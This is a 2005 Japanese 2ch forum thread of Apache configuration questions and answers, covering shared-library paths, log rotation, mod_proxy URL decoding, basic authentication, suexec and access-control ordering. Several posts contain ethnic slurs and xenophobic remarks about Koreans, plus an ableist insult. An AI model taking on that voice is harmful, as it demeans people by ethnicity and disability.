教えてください apache2 でアクセス解析をしようとして Webalizerをインストールしようとしています。 ところがWebalizerが動作しません。 エラーメッセージは以下のとおりです。 /usr/local/bin/webalizer: error while loading shared libraries: libgd.so.2: cann ot open shared object file: No such file or directory もちろんgdはインストールしました。 (つもりだけかも) Webalizerは/usr/local/bin/にあります。 gdlib-configには以下の以下の内容が書き込まれてます # installation directories prefix=/usr/local exec_prefix=${prefix} libdir=${exec_prefix}/lib includedir=${prefix}/include bindir=${exec_prefix}/bin /usr/local/lib -rw-r--r-- 1 root root 671774 6月 14 17:19 libgd.a -rwxr-xr-x 1 root root 708 6月 14 17:19 libgd.la lrwxrwxrwx 1 root root 14 6月 14 17:19 libgd.so -> libgd.so.2.0.0 lrwxrwxrwx 1 root root 14 6月 14 17:19 libgd.so.2 -> libgd.so.2.0.0 -rwxr-xr-x 1 root root 451148 6月 14 17:19 libgd.so.2.0.0 助けてくださいませ
>>796 OSはLinux?
Linuxだったら/etc/ld.so.confに/usr/local/libが書かれているかどうか確認。
なければ書き足す。1行に1つな。
書き換えたらあとはldconfig -vすれ。
そうすればlibgdが見つかるようになるはず。
>>793 どーいう打ち間違いだw
表示はなくても、エラーログに出てないか? 確認してないような印象を受けるが。
>>793 >>798 最近のFreeBSD5.xには、/etc/rc.confに
---
apache2_enable="YES"
---
が必要。また、起動する際にはroot権限で、
---
# /usr/local/etc/rc.d/000.apache2libs.sh start
# /usr/local/etc/rc.d/apache2.sh start
---
とする。
800 :
DNS未登録さん :2005/06/14(火) 23:17:24 ID:367lnO9V
>>794 ,798,799
ありがとうございました。
早速試してみます。
>>792 できます。CGIとして動くように組まれていればできます。
実行時にコンパイルするしな そのせいで、最初の一回は非常に重たいが
アクセスログをタブ区切りにしたんですが、rotatelogsでローテートされたファイルが なぜかスペース区切りになってしまいます。 なぜでしょうか? httpd.confは下記のようにしました。 CustomLog logs/access_log_detail.tsv "%h\t%l\t%u\t%t\t%r\t%>s\t%b\t%{Referer}i\t%U\t%{User-agent}i" transferLog "|/usr/sbin/rotatelogs /var/log/apache2/access_log_detail.tsv 86400"
804 :
796 :2005/06/15(水) 10:11:43 ID:YdgNTDWD
>>797 おまい天才!
できました。ありがとうございます。
ついでに恐縮ですが、いったいなにをしているのかお教えいただけれる
とありがたいのですが。
ちなみにRedhat9です。
>>804 /etc/ld.so.conf ->
ダイナミックリンクライブラリ(.so)を検索するディレクトリを指定するファイル
/sbin/ldconfig ->
/etc/ld.so.conf に書かれた各ディレクトリにあるライブラリを検索し、
/etc/ld.so.cache というデータベースファイルを作るプログラム
/etc/ld.so.cache ->
プログラムがダイナミックリンクライブラリを探すときのデータベースファイル。
806 :
804 :2005/06/15(水) 11:04:41 ID:YdgNTDWD
>>805 ありがとうございます。
ダイナミックリンクライブラリはデータベースをみていたんですね!
それが更新されてないと。なるほど。
それでライブラリをカレントにおいてもダメだったわけだ。
ありがとうございました
DebianでApache1.3.33を入れているところに、apt-getでApache-sslを入れました。 キーを指示されるままに作って、出来上がったのですが、Firefoxで見ようとすると 「Firefoxと暗号化アルゴリズムが異なるので安全な通信ができません」とエラーが でて、表示できません。IEだと証明書が信用できないとは言われるものの、表示 されます。Apacheの質問ではないかもしれませんが、これはいかなる理由による ものなのでしょうか。
当方光回線ベーシックタイプでOS win Apache 2.0.52 を使用しサーバーを立てているのですが 自宅↑のサーバーからダウンロードするときなぜか600kb以上速度が出ません。(頭打ち) 帯域制限モジュールも何も導入していないのですが、なぜでしょうか? ANHTTPDを使用していたときはその三倍の速度でダウンロードできました。 毎日頭を悩ませていたのですが本当に行き詰ってしまったため質問させて下さい。 どうかよろしくお願いいたします。
809 :
DNS未登録さん :2005/06/15(水) 22:13:24 ID:uMTmmGjz
だれか答えてやれよ。俺は知らんがなヽ(´Д`ヽ)
>>808 アップロード高速化レジストリは導入した?
>>808 どっかのスレでWin+Apache2だと遅くなってWin+Apache1だと問題ないって読んだことあるな
未だに原因不明らしいんでApache2にこだわりが無ければApache1にしてみれば?
ご教授有難う御座います
>>811 レジストリの最適化はすでに行っていました。
>>812 php sqlを使用したxoopsサイトを構築しています。
上記を踏まえApache1で動作すれば移行したいと思います。
貴重な情報有難う御座いました。
現在のapacheを起動してからの時間やサーバープロセス(同時に接続されるクライアント)の利用状況を表示(wや.などが大量に並んでいたようなやつ)を表示するの、server-infoじゃなくて何でしたっけ?
status
816 :
814 :2005/06/18(土) 04:01:17 ID:???
>>815 server-status
表示できました。ありがとうございます!
CGIによる負荷が多いのでmod_proxyを使ってPC分散させて見たのですが ホスト名が全てproxyサーバーのアドレスになってしまい困ってます。 打開策はないのでしょうか?教えて下さい。
apache本来の話とは少々違うのですが バーチャルドメインによりユーザーごとのドメインを作り、ログファイルもuser.acces_log user.error_logとして記録している場合 ログファイルを1日ごとにファイルを別にするようなスクリプト、みなさんどのように実現なさってますでしょうか?
>>819 rotatelogs ではうまくいかんのか?
>>820 おお、こんな便利なものがあったんですね
ありがとうございました、使ってみようと思います。
Apacheで分割ダウンロード対策で、クッキーを利用した方法が あったと思うんだけどどこか解説してるサイトありませんか?
また他人の真似か。さすがパクリの国。
韓国人に言われたかねーよ
Mathopdだったらパッチ当てると分割ダウンロードできなくなるけど Mathopdのスレってないせいか知らない人多いんだよね・・・
MathopdってUNIX用じゃないの?
分割ダウンロードをできなくするだけならば、 RequestHeader unset Range でできると思う。たぶん。試してないけど。
Apache1.3.33+Windows2000です。
IISからApacheへ移行したのですが、少々困った事が
---------------------------------------------------------------------
現在、ApacheのWEBサーバーから、同じLAN上にある画像サーバーへネットワークドライブを利用してアライアスをかけています
アライアス設定で画像サーバーgazo_serverへの画像パスをきる
Alias /gazo_pass/ "//gazo_server/d"
例)
http://apache.2ch.com/gazo_pass/image/apache.jpg Apache起動ユーザー"Apache"(権限:Guest)は、画像サーバーにも登録されている。(権限:Administrator)
---------------------------------------------------------------------
問題はAapcheから画像をよみに行った時、ユーザー"Apache"のセッションが画像サーバーに残ってしまう事です
(コンピュータの管理→システムツール→共有フォルダ→「セッション/開いているファイル」で確認済み)
バッチで画像サーバー上のapache.jpgなどのファイルをいじくっており、
Apacheのセッションがファイルに残っていると失敗します
IISだった時は、画像サーバーにアクセスしてもユーザー"Apache"のセッションは残らず、バッチもうまくいってました
(コンピュータの管理→システムツール→共有フォルダ→「セッション/開いているファイル」で確認済み)
現状はバッチの前にセッションを明示的に切断することでしのいでいます
なんとかApacheが画像サーバーの共有ファイルに食いついたままになるのを解除する方法は無いものでしょうか
詳しい方、よろしければ考えられる原因などをご教授ください
----------------------------------------------------------------------
Apacheは
KeepAlive On
Timeout 300
MaxKeepAliveRequests 300
KeepAliveTimeout 10
です
IISもKeepAliveをオフにしているということはなかったです
アライアス・・・
830 :
DNS未登録さん :2005/06/24(金) 21:37:19 ID:EfWqh2+k
うわ、エイリアスってよむのか すげぇ恥さらし_| ̄|○
>>828 これは純粋にWindowsの共有フォルダの問題だから
Apacheは無関係だと思う。
Windows板へ行って、共有フォルダのセッションをすぐに切断される方法を聞いた方がよい。
(ApacheやIISの話は絡めない方がいいかも)
833 :
828 :2005/06/25(土) 08:53:42 ID:???
>>832 なるほど〜
そういわれてみればそうですね、IISユーザーのセッションを即座に切る設定を何かしてたのかも
Windows板のほうで聞いてみます
834 :
DNS未登録さん :2005/06/26(日) 19:43:54 ID:cdudIvLZ
webを表示した時に、上と下がそのページも共通に表示すること方法て何て言うんですか? どのページもヘッダー?とかフッター?とか表示していることを。
>>834 apacheのモジュールで言うならmod_layout。
>>830 自分でやってみたけど、何の問題もなく動いちゃった。
cgi-bin/up
のパーミッションとかオーナーはどうなってる?
838 :
830 :2005/06/27(月) 12:49:43 ID:???
839 :
DNS未登録さん :2005/06/27(月) 22:57:58 ID:8beeiTZB
池沼には理解できないかもしれません。
情報を自分が後で再利用できるように取り込むことができない奴はこれだから・・・
>>839 そう思うなら、正しい日本語で書き直してコミットしてください
843 :
DNS未登録さん :2005/06/28(火) 02:01:52 ID:vZxCNGub
>>840 おいおい、訳の糞加減を指摘したら池沼扱いかよ
これだから馬鹿はwww
今、さらっと見てみたけど、そんなに酷い訳とは思えなかったが。。 てか、どこが分からなかったのか言ってごらん。 翻訳チームのエロい人が見てるかも試練
>>843 正しい訳を提示できるのなら猛者、文句言うだけなら池沼。
846 :
DNS未登録さん :2005/06/28(火) 13:47:03 ID:3CWX8/7I
ApacheBenchってどうやって見るの?
847 :
DNS未登録さん :2005/06/28(火) 14:34:54 ID:vZxCNGub
>>845 その指摘も的外れだね
チュートリアルなんか事情をよく知らない初心者が読むものだよ
その初心者にまともな訳を提示しろとか馬鹿げてるね
翻訳に必死になってるのはチョンだけだと思うが。 どのページを見てもチョン語訳がありやがるw
英語が圧倒的に多い気がするが。。 キーワードの選び方にチョン的思考が入ってるのでは?
apacheの初心者であることと、英語の和訳は別問題。
>>847 文句を言うなら金(or労働などによる対価)を払え
ってのが 筋だと思うが
>>849 英語圏発のソフトだから英語であるのは基本だろ。
そんな事より、和訳がない場合英語ページに誘導されるけど、
Available Languagesのところに必ずkoが並んでるなっと。
んなマイナーなモジュールまでw
最近CGIに関しての質問多いな
apacheを初めて使うのですが、質問があります。 環境は windows xp home edition です。SP2は当てていません。 webでインストール方法を見ながらインストールしてみました。 インストールしたファイルは apache_1.3.33-win32-x86-no_src.msi です。 するとインストールは無事に終わったようなのですがスタートメニューに Control Apache Server がありません。 なのでrestart、start、stop等がありません。 何度アンインストールしてインストールしなおしても、ファイルを落としなおして やってみても、同じ状況です。 何か原因が考えられるでしょうか? ちなみに「あなたの予測に反して、このページが見えているでしょうか?」 ページは見れます。 よろしくお願いします。
855 :
854 :2005/06/30(木) 18:33:18 ID:???
訂正です。 Control Apache Server がありません。 は Apache HTTP Server > Control Apache Server がありません。 です。
856 :
854 :2005/06/30(木) 18:34:51 ID:???
連続すみません... 書き込むスレッドを間違えたみたいです。 windowsのapache質問に書き込むべきですね。 そちらで質問してみます、すみませんでした。
RH9使ってます apache2のrpmをspecからビルドしようと思ったら、エラー + vmmn=20020903 + test x20020903 '!=' x20020628 + : Error: Upstream MMN is now 20020903, packaged MMN is 20020628. このMMNって何でしょうか。 specの上のほうに、%define mmn 20020628とありました。 + : Update the mmn macro and rebuild. + exit 1 エラー: Bad exit status from /var/tmp/rpm-tmp.2666 (%prep)
858 :
DNS未登録さん :2005/07/06(水) 22:36:34 ID:jQ+Pln5j
Apache 1.3.33 + mod_proxyを使用して、
パーセント(%)が含まれていると、エンコードしてもエラーに
なってしまいます。
これを回避する方法はありますか?
例えば、
httpd.confに以下の設定があって、
<IfModule mod_proxy.c>
ProxyPass /proc
http://www.test2.co.jp </IfModule>
http://www.test.co.jp/proc/test.php/test%25test にリクエストすると、
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>400 Bad Request</TITLE>
</HEAD><BODY>
<H1>Bad Request</H1>
Your browser sent a request that this server could not understand.<P>
<HR>
となります。
ほんとやねぇ。 二重に URL デコードされとるみたい。なんでやろ。 %25 の後に続く2文字が16進数と解釈できるものならば、400 にはならんよーだ。 16進数でないと Bad Request になる。 %2541 はデコードされて %41 と解釈されなければならんのに、 %41 が再度デコードされて A と解釈されてしまう。
mod_proxy以外にも犯人がいるんじゃないの?
デコードする係りの人が複数いるのか
862 :
DNS未登録さん :2005/07/09(土) 02:09:17 ID:ApPJJTyZ
【OS】VineLinux2.6r4 Apache1.3.27を使っています CGIの使用を会員制にするためにディレクトリにアクセス制限をかけようと思い .htpasswdと.htaccessの両方のファイルをmemberディレクトリに作り その後にCGIが動くかどうか確かめてから 制限をするmemberディレクトリにcp -r ./memberを使ってコピーしました すると500InternalServerErrorが出てしまいました 以下がそのエラーログです [Sat Jul 9 01:39:01 2005] [alert] [client 219.209.72.81] /home/httpd/cgi-bin/member/.htaccess: Options not allowed here 予めaccess.confをWebminを使って以下の記述を付け足しました <Directory /home/httpd/cgi-bin/member/> AllowOverride AuthConfig </Directory> ググルとhttpd.confをいじる物やAllowOverride Allに設定する物など 多くの設定法が存在するようですが返って混乱したので その中でいちばん簡単そうな設定を選びました .htpasswdファイルは htpasswd -cコマンドで作成し .htaccessはコピペしてユーザーなどの設定をいじっただけです うまくいけば認証画面が出てくるみたいですが まったくうまくいきません あちこちのサイトを参考にしてつぎはぎしながら試行錯誤してみましたがまったく動きません どなたかご教授していただけないでしょうか お願いします
Vineは知らないんだけど、僕のDebianはaccess.confやsrm.confを参照しないので、ぜんぶ設定をhttp.confに書く必要があった 同じ内容でよいので、http.confの一番最後に書いてみたらでどうでしょう
というより、エラーログで「.htaccess:ここでOptionsは使えないよ」と言っているのに 肝心の.htaccessについては「コピペしてユーザーなどの設定をいじっただけ」としか書かないというのは やはりエスパー募集ということなんでしょう。
865 :
862 :2005/07/09(土) 12:40:27 ID:???
>>863 うまくいきました
ありがとうございます
>>864 セキュリティの関係でさらすのはやばいかなあと
眠い頭でなんとなく思ってしまいました
AuthType Basic
AuthName "Member Only"
AuthUserFile /home/httpd/cgi-bin/member/.htpasswd
<LIMIT GET>
require user ********
</LIMIT>
.htaccessの中身はこんだけです
userの所を書き換えただけです
Fedora Core4でsuexec-docrootを二つ指定する事ってできないの? --with-suexec-docroot=/hogeと/hageみたいな感じで。
>>866 rootが二つって、rootの意味判ってるのかと
なんかおかしいか? multiple suexexc-docrootは2では出来たぞ。
870 :
DNS未登録さん :2005/07/10(日) 15:46:32 ID:i4/SJ0VT
iccでapacheをビルドしたら400%高速化したと言う記事をネットで見たけど 本当にそこまで速くなるの?
ネットの記事ならなぜURLを晒さないのですか?
872 :
DNS未登録さん :2005/07/10(日) 16:14:30 ID:i4/SJ0VT
873 :
DNS未登録さん :2005/07/11(月) 01:01:20 ID:dbk3kMcN
すいません、質問です。 /usr/local/apache2/bin/apachectl start にて、 apacheの起動が失敗してしまいます。 (98)Address already in use: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down Unable to open logs 0.0.0.0:80 この数字に心当たりがあるのは、ルーターの設定でポート80を 開けたことぐらいです。 すみませんが、お力を貸して下さい
/usr/local/apache2/bin/apachectl ここのファイルは在るのが、確認できました。 まだ一度も起動していません
>>873 httpd.confを全く編集しない状態(初期設定)で起動できる?
確認しましたが、同じエラーが出ます。 関係ないかもしれませんが、httpd.confを開けてみたら #Listen 12.34.56.78:80 Listen 80 こういう風に書いてありました。 はやいレス、ありがとうございます
>>877 Listen 192.168.0.1:80
>>878 さん
さすが
さっそくやってみようと思います。
>>879 いやいやいや、釣りに釣られてはいかんよ
まずはディストリビューションを書きなさい
そしてApacheを自らインストールしたのか、
それともディストリビューションのものをそのまま使ったのか書きなさい
>>873 の
> Address already in use
ってことは、ポート番号80を既に使われているってことじゃないの?
fuser -vn tcp 80 あたりで何が動いているのか調べた方がいいような。
まさかすでにApache1が起動していて、、なんてことはないよな
>>882 皆さん、助かりました。w
有難うございました
885 :
DNS未登録さん :2005/07/12(火) 01:49:22 ID:xqhO7XgW
redhat9でapache 2.0.40 使用しています prefork か worker のどちらかを使っているかを調べたいのですが、コマンドがわかりません 分かる方、お願いします
質問です。 最近鯖機OSを「WinXP Pro」から「FedoraCore3」に移行したのですが、 Apacheの設定後ユーザーディレクトリを参照すると403エラーが出てしまいました。 フォルダやファイルのパーミッションを再確認し、書き込み属性があるのを確認しましたが、 結果はかわりませんでした。パーミッション以外で403が出る原因ってほかに何が考え られるのでしょうか。ドキュメントルートに置いたページは見れました。 環境は、 OS:FedoraCore3 httpd:Apache2.0 UserDir public_html ユーザのhomeディレクトリは /home/user名 (755) │ └public_html(755) │ └index.html(744) です。よろしくおながいします。
>>887 ×書き込み属性
○読み込み属性
ですねorz
>>889 Permission denied: access to /~user名/index.html denied
ってなってました。やはりパーミッションでしょうか…
やはりパーミッションでしょうか…と思うなら パーミッションを変えてテストしてみれば良いじゃん、と感じるのは たぶん俺だけじゃないよね
>>891 当然いろいろ変えてテストしましたよ…
それでも駄目でしたorz
いろいろって? で、いろいろ試して駄目だったのにパーミッションが原因だと思う理由は?
>>893 いえ、パーミッションが原因だとは思ってないのですが、
ログにはPermission deniedってでてるので混乱しているんですよ…
だから*いろいろ*って何をやったんだ?
>>895 パーミッションを一度すべて777にしてみたり、homeディレクトリの場所を変えてみたり、
httpd.confを再設定したりなどです。
典型的な釣りだろ。 情報小出しにするヤツはスルー。
898 :
887 :2005/07/13(水) 14:39:23 ID:???
いろんなサイト見ながらhttpd.confを設定しなおしたら、
今度はユーザhomeに実行権限があると403ではなく404出るといった状態になりました。
もうさっぱりわかんねぇ…ヽ(`Д´)ノ
諦めて出直してきまつ λ...
>>889 >>891 >>893 >>895 ありがとうございました。
/home のパーミッションだろ・・・
>>898 なんでhttpd.confの一部をコピペしない?
>900 >897
>>900 セキュリティー上の理由です。
お答えできません。
903 :
DNS未登録さん :2005/07/19(火) 19:33:15 ID:xgEhdXbZ
ローカルディスク(W;)がでてきません。 なぜでしょうか? 誰かご助言をよろしくお願い致します。
904 :
DNS未登録さん :2005/07/19(火) 19:35:21 ID:xgEhdXbZ
ちなみにUniform server3_1です
905 :
DNS未登録さん :2005/07/20(水) 10:44:27 ID:W+8ZRXLc
(wwwwwwwwwwwwwwwwwww;)
path_infoが勝手にURLデコードされてしまうんですが それを行わないようにするにはどうしたらいいですか?
行わないように設定すればいい。
> それを行わないようにするにはどうしたらいいですか? に対する答えが > 行わないように設定すればいい。 って事ですか?
自分でエンコードすれば良い。
なんか会話になってないな。
911 :
906 :2005/07/22(金) 08:27:24 ID:7uF6p0aj
>>909 apacheがデコードしたものをもう一度自分でエンコードするという事ですか?
ちなみに
>>908 は自分では無いです。
912 :
908 :2005/07/22(金) 09:03:24 ID:???
当たり前だVAKA
913 :
906 :2005/07/22(金) 09:10:58 ID:???
>>VAKA 同じ意見の人が居て嬉しいです。
914 :
906 :2005/07/22(金) 09:48:07 ID:7uF6p0aj
理解できない人には不思議な仕様なんでしょうね。 まぁ、そういうことってよくありますよ。
つーか、%2fだけじゃん。 こんなのに依存しているコードを書いている時点で(ry
917 :
906 :2005/07/23(土) 10:58:34 ID:???
自分で調べようって気にならない人には(Apacheを使うことは)難しい
919 :
906 :2005/07/24(日) 09:38:00 ID:???
>>918 ここは質問スレ。
その人が可能な限り調べても分からずそれ以上その人にはどうにもならない時にも
このスレで質問をする事がダメだというのならこのスレの存在意義は無い。
私には英語能力が無く日本語情報からしか探していませんが、
日本語情報からは大分入念に探しましたが見つかりませんでした。
そのapacheの仕様を調べる為にわざわざ英語能力を身につけるというのは
現実的に行える範囲では無いです。
>>918 が自分に対するレスと仮定して答えたけど、それは話の流れから明らかな事か。
>>919 英語がわからないのに、海外のソフトを使うことが間違ってるんじゃないか
>そのapacheの仕様を調べる為にわざわざ英語能力を身につけるというのは
>現実的に行える範囲では無いです。
なら選択肢としては
日本で開発されたソフトを使う
英語がわかる人に対価を払って教えて貰う
apacheが判る人に対価を払ってやって貰う
あきらめる
とかになるわけだが
物事を達成するのには、それなりのコストが必要
それは和訳された情報だけで済む場合もあるし、英語+プログラムの知識が必要なときもある
代わりに金で解決する方法もある
ワレザーの精神の無い連中ばっかだな。
英語が分からない人には(海外ソフトを使うことは)難しい
>>919 という訳で、ANHTTPDとかの方がいいですよ。
>>919 英語力って言っても高卒程度+辞書が有れば十分に読める範囲だと思うんだけどね。
英語が全く分からない、学ぶ気も無いってんなら
Apacheとかunix系使うのは無理なんじゃない?
Windows系ですら英語の文献しか無い事が多々有るのに。
質問させて下さい。 OS:Linux Apacheバージョン:1.3.23 で、SSL接続を使って利用したいという状況ですが いざ、インストールした後に、https接続を行うと 「サーバーが見つからないか、DNSエラーです」 というエラーが出てしまいます。 またLinux中の「error_log」には以下のメッセージがありました。 [error] mod_ssl: SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows) [error] System: Connection reset by peer (errno: 104) エラー内容等でググってみたものの解決には至らず 質問させていただいた次第です。 よろしくお願いします
926 :
924 :2005/07/25(月) 16:37:57 ID:???
>>925 様
御回答ありがとうございました。
私も、以前そこのサイトはググった際に
見つけたのですが、私の環境とは違った為
(私はmod-SSLではなくApache-SSLを利用して、mac環境ではない)
解決には至りませんでした。
>>924 で説明不足でした。申し訳ありません。
現在も原因を追求しているところですが
Linux側で「nmap localhost」コマンドを打つと
443ポートは開放していることが確認できるのですが
クライアント側で、「
https://IPアドレス:443 」
と打つとエラーになってしまってる状況なので
もしかしたらネットワーク関係が原因かもしれません。
927 :
DNS未登録さん :2005/07/25(月) 20:19:07 ID:QAIfE23x
質問させて下さい。 IEからサーバー上に存在するxhtmlファイル(拡張子.xhtml)にアクセスした場合に Content-Typeを通常のapplication/xhtml+xmlではなくてtext/htmlと書き換えたいのですが そのようなことは可能でしょうか? なんとかドキュメントを読みつつ、ブラウザマッチでIEを識別して環境変数を設定し、 Header set で上書きしようと試みましたが(当然?)できませんでした。
CGIの同時起動数を制限したいのですが、どうしたらいいでしょうか? 環境は Apache/2.0.53 FreeBSD5.4-PRERELEASE です。
名前ベースのバーチャルホストのみで運用しています。 よく言われる「IPアドレスではアクセスさせないようにする」というのは 一番上に書いたバーチャルホストを中身からっぽのダミーにする、 という意味と同義なのでしょうか?
mod_perlで動くようにスクリプトを書き換えるスキルがないですorz
慣れれば簡単らしい。
ここで聞いて良いのかわからないのですがApacheを使用しているので… htmlは見えてjpg等画像が見られなくて困っています。 auとドコモの携帯から見えない状態です。 PCのブラウザとボーダフォンからは見えているは確認済みです エラーログには何も出力されていません 解決法等なにかしってることがありましたらご教授ください 使用環境は Solaris10 x86 Apache/2.0.54 です
でかすぎ
936 :
DNS未登録さん :2005/07/29(金) 09:30:34 ID:xXEB7YGc
教えてください Fedora Core2 Apache 2.0.54 .javaのファイルをplaintextで表示させるにはどうしたらいいのでしょうか? httpd.confにAddType text/plain .javaを追加したり、 mime.typesをtext/plain asc txt javaとしてみましたがダウンロードのダイアログが出てしまいます。
それ、apache ではなくて IE の仕様。
>>938 リンク先のxoops.orgに書かれている内容からすると、「Webサーバではなくて穴」
とあるのでソフトウエアのセキュリティホールではなくて設定ミスによる弱点ではないかと。
---
We believe the hackers exploited a hole in the Apache webserver, which we have now closed (the hole, not the webserver).
Perlが遅いです。。。 常駐させるとかして早くしたいんですが。。。 鯖はwinだが、CPUは800だし遅くはナインだけドナー
mod_perl
PersistentPerl(SpeedyCGI)
> CPUは800だし遅くはナインだけドナー いやそれ遅いからwwww
Perlは元々遅い PHPにしなさい
centOS4.1を使っているのですがyumからapache2.0.52をいれました。 suexecは有効にしてるのですが、CGIが生成したファイルの所有者がapacheになってしまいます。 /home内はすべてsuexecが利くようにしたいのですがどうすればよいのでしょうか?
ttp://www.example.com/hoge/test.cgi 形式です。
apacheのディレクティブで
Options execCGI
にしてどこのディレクトリでも実行できるようにしてます。
また、ドキュメントはすべて/home/username/ですが
Userdir = disable
にして
Alias /hogehoge/ "/home/hogehoge/public_html/"
としていたり、バーチャルホストにしています。
この場合はどうすればsuexecを適用できるのでしょうか?
949 :
DNS未登録さん :2005/08/07(日) 12:59:36 ID:a0qu2bA3
950 :
DNS未登録さん :2005/08/08(月) 00:09:44 ID:w3/txyA3
夜分遅くすいません、
Vine Linux 2.1CR(Kernel 2.2.19)+Perl5.6+Apache2.0.52をインストールしてある
PCにPHP4.3.8を導入し、futaba.php(
ttp://www.2chan.net/script/ )を
走らせて見たところ、/home以下のユーザで実行するとhtmを吐けない
ようなのです、ディレクトリ・*.datのパーミッションも見直してみましたが原因が
はっきりせず難儀しております、アドバイス等を頂ければ幸いです。
home以下のユーザのdirが700なんじゃない?
質問あるので聞いてください WindowsXP SP1 Apache 2.0.54 の環境でBASIC認証をやりたいのですが 「htpasswd.exe」でPassを作って.htpasswd、.htaccessともに 設置したのですが認証できません。(認証画面はでます どうすればよいでしょうか?
954 :
952 :2005/08/08(月) 21:16:24 ID:???
御免なさい ノートン先生が認証できなくしてたみたいです・・・
957 :
956 :2005/08/09(火) 21:16:54 ID:???
直リン、スミマセン
959 :
◆e/yESf7zUE :2005/08/16(火) 16:20:14 ID:wj2aCLmc
質問です FreeBSD 5.4 Apach2.0.54 /etc/rc.confにapache2_enable="YES"を追加して /usr/local/etc/rc.d/apache2.sh startとしても、 Apacheが起動しません エラーは特に出ていません
Apache2.0.47でRedhat9です。 後からmod_rewriteモジュールを追加したいのですが この場合、一度Apacheをコンパイルし直さなければ いけないのでしょうか? 追加コンパイルとか出来るのでしょうか? 出来たら方法を教えていただければと思います。
>>959 /etc/rc.confの記述内容のスペルミスに一票。
あとは全角で書いてたりしない???
>>959 /usr/local/etc/rc.d/000.apache2libs.sh start
>>960 すでにインストールされている apache がどうコンパイルされているかによる。
mod_rewrite だけのインストールで済むかもしれんし、
apache 全体を入れ直さなければならんかもしれん。
どっちかは、わしゃ知らん。
>>961 確認してみましたが、ちゃんと記述できてました。
>>962 言われた通りにやってみましたが、起動しませんでした。
>>963 しましたよ
Apache以外の設定が悪いかもしれないので、
FreeBSDを再インストールして再チャレンジしたいと思います・・・
Apache2 + モジュール板PHPを使用してます HTMLにPHPを直接記述するとソースがそのまま表示されてしまうのですが、スクリプトとして処理させるにはどうすればいいでしょうか?
969 :
DNS未登録さん :2005/08/17(水) 20:49:39 ID:xlyVkfcM
/home/user1/public_html/ 以下について、10.0.0.1をdenyしたい しかし、 /home/user1/public_html/security/ 以下だけはアクセス可能にしたい httpd.confにしかアクセス制御に関する記述はしたくない場合、これは不可能でしょうか? .htaccessを使用しなくては駄目でしょうか?
>>969 .htaccessを使わなくてもhttpd.confで <Location /~user1/> と
<Location /~user1/security/> を作ってそれぞれで拒否と許可を設定すればよい。
971 :
969 :2005/08/17(水) 21:26:45 ID:xlyVkfcM
すみません事故解決しました <Directory /home/user1/public_html/> order deny,allow deny from 10.0.0.1 </Directory> <Directory /home/user1/public_html/security/> order deny,allow </Directory>
972 :
969 :2005/08/17(水) 21:27:17 ID:xlyVkfcM
>>959 >/usr/local/etc/rc.d/apache2.sh
これ実在しますか?
# /usr/local/etc/rc.d/apache.sh start
974 :
DNS未登録さん :2005/08/17(水) 23:13:44 ID:Xy43c6et
apache 2.0.40 を使用しています。 maxcliant を 現在255なのですが、不足気味なので数値を上げようとおもっています。 このさい、apacheのリコンパイルが必要と聞いたのですが、本当なのでしょうか?
apache2 は不要。1.3 は必要。
976 :
DNS未登録さん :2005/08/17(水) 23:50:02 ID:Xy43c6et
977 :
969 :2005/08/18(木) 03:01:30 ID:T8tFGE6B
たびたびすみません。 /home/user1/public_html/ 以下全てをアクセス禁止にしたい:10.0.0.2 /home/user1/public_html/test/ 以下全てをアクセス禁止にしたい:10.0.0.3 こういう場合、どのように書けばよいのでしょうか? <Directory /home/user1/public_html/> order deny,allow deny from 10.0.0.2 </Directory> はいいとして、 <Directory /home/user1/public_html/test/> order deny,allow deny from 10.0.0.3 </Directory> だと、10.0.0.2が /home/user1/public_html/test/ 以下にアクセスできてしまうようです。 <Directory /home/user1/public_html/test/> order allow,deny deny from 10.0.0.3 </Directory> だと、誰も /home/user1/public_html/test/ 以下にアクセスできなくなってしまいます。
SSL使わないから、4:10ごろssl.confをssl.conf.bakにリネームしてサーバーを再起動した。 朝、uptimeを記録しているログを見てみたら、明らかに負荷が高まっていた。 10:50ごろもとに戻した。そしたら元に戻った。 topで見ると、親プロセスのCPU利用率が常に5%ぐらいあるみたい。 ssl.confを元に戻したら、topに表示されなくなった。 03:00:01 up 2:20, 1 user, load average: 0.04, 0.02, 0.00 03:10:01 up 2:30, 1 user, load average: 0.04, 0.02, 0.00 03:20:02 up 2:40, 1 user, load average: 0.00, 0.00, 0.00 03:30:01 up 2:50, 1 user, load average: 0.05, 0.04, 0.00 03:40:01 up 3:00, 1 user, load average: 0.10, 0.05, 0.01 03:50:01 up 3:10, 1 user, load average: 0.12, 0.15, 0.06 04:00:01 up 3:20, 1 user, load average: 0.01, 0.09, 0.06 04:10:01 up 3:30, 1 user, load average: 0.97, 1.07, 0.67 04:20:01 up 3:40, 0 users, load average: 1.77, 1.42, 1.02 04:30:01 up 3:50, 0 users, load average: 0.97, 1.10, 1.02 04:40:01 up 4:00, 0 users, load average: 1.46, 1.33, 1.18 04:50:02 up 4:10, 0 users, load average: 1.21, 1.26, 1.21 05:00:01 up 4:20, 0 users, load average: 1.14, 1.17, 1.18 05:10:01 up 4:30, 0 users, load average: 1.27, 1.28, 1.23 05:20:01 up 4:40, 0 users, load average: 1.25, 1.24, 1.24 05:30:01 up 4:50, 0 users, load average: 1.24, 1.26, 1.23 (略) 09:10:01 up 8:30, 0 users, load average: 1.23, 1.34, 1.36 09:20:01 up 8:40, 0 users, load average: 1.65, 1.42, 1.37 09:30:01 up 8:50, 0 users, load average: 1.26, 1.41, 1.37 09:40:01 up 9:00, 0 users, load average: 1.38, 1.56, 1.46 09:50:01 up 9:10, 0 users, load average: 1.34, 1.37, 1.38 10:00:01 up 9:20, 0 users, load average: 1.31, 1.44, 1.41 10:10:01 up 9:30, 0 users, load average: 1.14, 1.35, 1.36 10:20:01 up 9:40, 0 users, load average: 1.20, 1.40, 1.35 10:30:01 up 9:50, 0 users, load average: 1.20, 1.35, 1.36 10:40:01 up 10:00, 1 user, load average: 1.23, 1.32, 1.32 10:50:02 up 10:10, 1 user, load average: 0.12, 0.85, 1.15 なんで?
>>973 レスありがとうございます
FreeBSDを入れ直したところ、正常に起動するようになりました
起動しなかった原因はわかりませんでしたが、直ったのでこれでよしとします
皆様ありがとうござました
>>977 <Directory /home/user1/public_html/test/>
order deny,allow
deny from 10.0.0.2
deny from 10.0.0.3
</Directory>
じゃだめか?